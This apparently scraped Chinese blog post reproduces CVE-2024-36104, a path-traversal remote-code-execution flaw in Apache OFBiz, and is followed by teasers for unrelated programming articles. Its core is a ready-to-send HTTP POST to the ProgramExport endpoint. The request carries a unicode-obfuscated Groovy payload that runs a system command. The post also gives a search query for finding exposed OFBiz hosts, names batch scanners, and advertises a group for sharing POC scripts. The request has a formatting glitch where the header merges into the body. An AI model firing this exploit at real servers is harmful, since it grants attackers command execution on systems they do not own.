【漏洞复现】Apache OFBiz 路径遍历导致RCE漏洞（CVE-2024-36104）
0x01 产品简介
Apache OFBiz是一个电子商务平台，用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。是美国阿帕奇(Apache)基金会的一套企业资源计划(ERP)系统。该系统提供了一整套基于Java的Web应用程序组件和工具。
0x02 漏洞概述
Apache OFBiz 18.12.14之前版本存在命令执行漏洞，该漏洞源于org.apache.otbiz.webapp.control.ControlFiter类对路径(请求URL中的特殊字符(如;、%2e)限制不当导致攻击者能够绕过后台功能点的过滤器验证，并通过webtools/control/ProgramExpor接囗的编程导出功能执行任意Groovy代码获取系统权限。
0x03 搜索语法
app="Apache_OFBiz"
0x04 漏洞复现
POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: your-ip
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Content-Type: application/x-www-form-urlencodedgroovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
0x05 工具批量
nuclei
afrog
xray
POC脚本获取
请使用VX扫一扫加入内部POC脚本分享圈子
相关文章：
【漏洞复现】Apache OFBiz 路径遍历导致RCE漏洞（CVE-2024-36104）
0x01 产品简介 Apache OFBiz是一个电子商务平台，用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。是美国阿帕奇(Apache)基金会的一套企业资源计划(ERP)系统。该系统提供了一整套基于Java的Web应用程序组件和工具。 0x02 …...
数据库表中创建字段查询出来却为NULL？
起因： 今天新创建了一张表,其中一个字段命名为"word_num"带下划线，我在前端页面怎么也查询不出来word_num的值，后来在后端接口处打印了一下数据库查询出来的数据，发现这个字段一直为NULL，然后我就想到是不是…...
缓存方法返回值
1. 业务需求 前端用户查询数据时,数据查询缓慢耗费时间; 基于缓存中间件实现缓存方法返回值:实现流程用户第一次查询时在数据库查询,并将查询的返回值存储在缓存中间件中,在缓存有效期内前端用户再次查询时,从缓存中间件缓存获取 2. 基于Redis实现 参考1 2.1 简单实现 引入…...
【十大排序算法】快速排序
在乱序的世界中，快速排序如同一位智慧的园丁， 以轻盈的手法，将无序的花朵们重新安排， 在每一次比较中，沐浴着理性的阳光， 终使它们在有序的花园里，开出绚烂的芬芳。 文章目录 一、快速排序二、…...
linux系统ubuntu中在命令行中打开图形界面的文件夹
在命令行中打开当前路径，以文件管理器的形式打开： 命令 # 打开文件管理器 当前的路径 nautilus .nautilus 是一个与 GNOME 桌面环境集成的文件管理器的命令行启动程序。在 Linux 系统中，特别是使用 GNOME 作为桌面环境时，用户经…...
【C++11数据结构与算法】C++ 栈
C 栈(stack) 文章目录 C 栈(stack)栈的基本介绍栈的算法运用单调栈实战题LC例题：[321. 拼接最大数](https://leetcode.cn/problems/create-maximum-number/)LC例题：[316. 去除重复字母](https://leetcode.cn/problems/remove-duplicate-letters/) 栈的基…...
pdf文件如何防篡改内容
PDF文件防篡改内容的方法有多种，以下是一些常见且有效的方法，它们可以帮助确保PDF文件的完整性和真实性： 加密PDF文档： 原理：通过设置密码来保护PDF文档，防止未经授权的访问和修改。注意事项：密…...
QT 音乐播放器【二】 歌词同步+滚动+特效
文章目录 效果图概述代码解析歌词歌词同步歌词特效 总结 效果图 概述 先整体说明一下这个效果的实现，你所看到的歌词都是QGraphicsObject，在QGraphicsView上绘制(paint)出来的。也就是说每一句歌词都是一个图元(item)。 为什么用QGraphicsView框架&…...
关于怎么用Cubemx生成的USBHID设备实现读取一体的鼠标键盘设备（改进版）
主要最近做了一个要用STM32实现读取鼠标键盘一体的那种USB设备，STM32的界面上要和电脑一样的能通过这个USB接口实现鼠标移动，键盘的按键。然后我就很自然的去参考了正点原子的例程，可是找了一圈，发现正点原子好像用的库函数&#…...
Soildworks学习笔记（二）
放样凸台基体： 自动生成连接两个物体两个面的基体： 2.旋转切除： 3.剪切实体： 4.转换实体引用： 将实体的轮廓线转换至当前草图使其成为当前草图的图元,主要用于在同一平面或另一个坐标中制作草图实体或其尺寸的副本。 …...
Linux配置uwsgi环境
Linux配置uwsgi环境 1.进入虚拟环境 source /envs/django_-shop-system/bin/activate2.安装uwsgi pip install uwsgi3.基于uwsgi运行项目 – 基于配置文件 在项目目录下创建配置文件 #socket 0.0.0.0:8005 http 0.0.0.0:8005 # http120.55.47.111:8005 chdir/opt/www/djang…...
Nagios的安装和使用
*实验* *nagios安装和使用* Nagios 是一个监视系统运行状态和网络信息的监视系统。Nagios 能监视所指定的本地或远程主机以及服务，同时提供异常通知功能等. Nagios 可运行在 Linux/Unix 平台之上，同时提供一个可选的基于浏览器的 WEB 界面以方便系统管…...
Numba 的 CUDA 示例(4/4)：原子和互斥
本教程为 Numba CUDA 示例 第 4 部分。 本系列第 4 部分总结了使用 Python 从头开始学习 CUDA 编程的旅程 介绍 在本系列的前三部分（第 1 部分，第 2 部分，第 3 部分）中，我们介绍了 CUDA 开发的大部分基础知识…...
【机器学习】机器学习引领AI：重塑人类社会的新纪元
📝个人主页🌹：Eternity._ 🌹🌹期待您的关注 🌹🌹 ❀机器学习引领AI 📒1. 引言📕2. 人工智能（AI）🌈人工智能的发展🌞应用领…...
【制作面包game】
编写一个制作面包的游戏代码涉及到游戏设计、编程和用户界面设计等多个方面。这里我可以提供一个简化版本的Python代码示例，用于创建一个基本的面包制作游戏。这个游戏将会有一个简单的用户界面，玩家可以通过输入命令来制作面包。 游戏的基本流程如下&a…...
Django更改超级用户密码
Django更改超级用户密码 1、打开shell 在工程文件目录下敲入： python manage.py shell再在python交互界面输入： from django.contrib.auth.models import User user User.objects.get(username root) user.set_password(123456) user.save()其中ro…...
ROS基础学习-ROS通信机制进阶
ROS通信机制进阶 目录 0.简介1.常用API1.1 节点初始化函数1.1.1 C++1.1.2 Python1.2 话题与服务相关函数1.2.1 对象获取相关1.2.1.1 C++1.2.1.2 Python1.2.2 订阅对象相关1.2.2.1 C++1.2.2.2 Python1.2.3 服务对象相关函数1.2.3.1 C++1.2.3.2 Python1.2.4 客户端对象相关1.2.4.…...
【Vue3】shallowReactive() and shallowReadonly()
历史小剧场 所谓历史，就是过去的事，它的残酷之处在于：无论你哀嚎，悲伤，痛苦，落寞，追悔，它都无法改变。 一具有名的尸体躺在无数无名的尸体上，这就是所谓的霸业。---- 《明…...
【javaEE初阶】
🌈🌈🌈关于java ⚡⚡⚡java的由来 我们这篇文章主要是来介绍javaEE，一般称为java企业版，实际上java的历史可以追溯到上个世纪90年代，当时主要的语言主流的还是C语言和C，但是在那个时期嵌入式初…...
深度学习 - 梯度下降优化方法
梯度下降的基本概念 梯度下降（Gradient Descent）是一种用于优化机器学习模型参数的算法，其目的是最小化损失函数，从而提高模型的预测精度。梯度下降的核心思想是通过迭代地调整参数，沿着损失函数下降的方向前进&#…...
Steam下载游戏很慢？一个设置解决！
博主今天重装系统后，用steam下载发现巨慢 500MB，都要下载半小时。 平时下载软件，一般1分钟就搞定了，于是大致就知道，设置应该出问题了 于是修改了，如下设置之后，速度翻了10倍。 如下&#x…...
51单片机采用定时器T1的方式1的中断计数方式，外接开关K4按4次后，8只LED闪烁不停
1、功能描述 采用定时器T1的方式1的中断计数方式，外接开关K4按4次后，8只LED闪烁不停 2、实验原理 定时器原理:8051的定时器可以用于计数外部事件或执行内部定时操作。在本程序中，定时器1被设置为模式2，即8位自动重装载定时器模式…...
windows系统 flutter 开发环境配置
1、管理员运行powershell，安装：Chocolatey 工具，粘贴复制运行下列脚本: Chocolatey 官方安装文档 Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol [System.Net.ServicePointManage…...
【线性代数】SVDPCA
用最直观的方式告诉你：什么是主成分分析PCA_哔哩哔哩_bilibili 奇异值分解singular value decomposition，SVD principal component analysis,PCA 降维操作 pca就是降维后使得信息损失最小 投影在坐标轴上的点越分散，信息保留越多 pca的实现…...
1.Vue2使用ElementUI-初识及环境搭建
目录 1.下载nodejs v16.x 2.设置淘宝镜像源 3.安装脚手架 4.创建一个项目 5.项目修改 代码地址：source-code: 源码笔记 1.下载nodejs v16.x 下载地址：Node.js — Download Node.js 2.设置淘宝镜像源 npm config set registry https://registry.…...
OS复习笔记ch7-3
承接上文我们讲完了页式管理和段式管理，接下来让我们深入讲解一下快表和二级页表 快表 快表和计算机组成原理讲的Cache原理如出一辙。为了减少访存的次数，OS在访问页面的时候创建了快表（Translation Lookaside Buffer ，简称TLB&…...
MFC 教程-回车时窗口退出问题
【问题描述】 MFC窗口默认时，按回车窗口会退出 【原因分析】 默认调用OnOK() 【解决办法】 重写虚函PreTranslateMessage BOOL CTESTMFCDlg::PreTranslateMessage(MSG* pMsg) {// TODO: 在此添加专用代码和/或调用基类// 修改回车键的操作反应 if (pMsg->…...
CTFHUB-SQL注入-字符型注入
目录 查询数据库名 查询数据库中的表名 查询表中数据 总结 此题目和上一题相似，一个是整数型注入，一个是字符型注入。字符型注入就是注入字符串参数，判断回显是否存在注入漏洞。因为上一题使用手工注入查看题目 flag ，这里就不…...
Docker配置Redis集群以及主从扩容与缩容
基础镜像拉取 docker run -p 6379:6379 -d redis:6.0.8 配置文件以及数据卷挂载 # 开启密码验证（可选） requirepass 1234 # 允许redis外地连接，需要注释掉绑定的IP # bind 127.0.0.1 # 关闭保护模式（可选） protected-m…...
【计算机网络】 传输层
一、传输层提供的服务 1.1 传输层的功能 1.1.1 传输层的功能如下： 传输层提供应用进程之间的逻辑通信（即端到端的通信）。与网络层的区别是：网络层提供的是主机之间的逻辑通信。 1.1.2 复用和分用 传输层要还要对收到的报文进行…...
软件开发工程师的就业前景/seo推广外包企业
1，命名空间 命名空间用来区分结构相同的不同xml文件 就行C#中的namaspace 2,xml报文 <?xml version"1.0" encoding"UTF-8"?> <Manifest xmlns"urn:Declaration:datamodel:standard:CN:MT2201:1" xmlns:xsi"http://w…...
c2c网站开发/如何做网站搜索引擎优化
第一部分 WEB层均衡负载.net平台下，我目前部署过的均衡负载有两种方式(iis7和Nginx)，以下以Nginx为例讲解web层的均衡负载. 简介：Nginx 超越 Apache 的高性能和稳定性，使得国内使用 Nginx 作为 Web 服务器的网站也越来越多&#x…...
上海网站备案核验/怎样做自己的网站
烤瓷牙修复牙齿的种类都有哪些?烤瓷牙它的种类有很多，这往往就令消费者眼花撩换，他们不知该如何选择。接下来我们就看看烤瓷牙种类的介绍吧希望以下的介绍对大家有所帮助。 烤瓷牙修复牙齿的种类都有哪些呢?烤瓷牙修复牙齿的种类如下所示：…...
杭州强龙网站建设/在哪里查关键词排名
来源：CT、MRI诊断指南第一篇 如何阅读CT、MRI图像第一节 影像诊断原则与步骤医学影像诊断包括Ｘ线、CT、MRI、超声等，是重要的临床诊断方法之一。为了达到正确诊断，必须遵循一定的诊断原则和步骤，才能全面、客观地作出结…...
恩做网站动态页面好/b2b关键词排名工具
在日常办公中我们使用excel计算数值比较多，因为exce的公式用起来比较方便，比较灵活。有些时候我们也会用word来计算数值，但不知道怎么运用，那么下面就由学习啦小编给大家分享下word中计算数学公式的技巧，希望能帮助到您…...
黄石市城市建设档案馆网站/网络营销的工作内容包括哪些
增 push 在数组的末尾添加一个或多个元素，并返回新的长度。 array.push(1,2,3.........) unshift 在数组的开头添加一个或多个元素，并返回新的长度。 array.unshift(1,2,3......) splice 在制定位置添加一个活多个元素，splice(s…...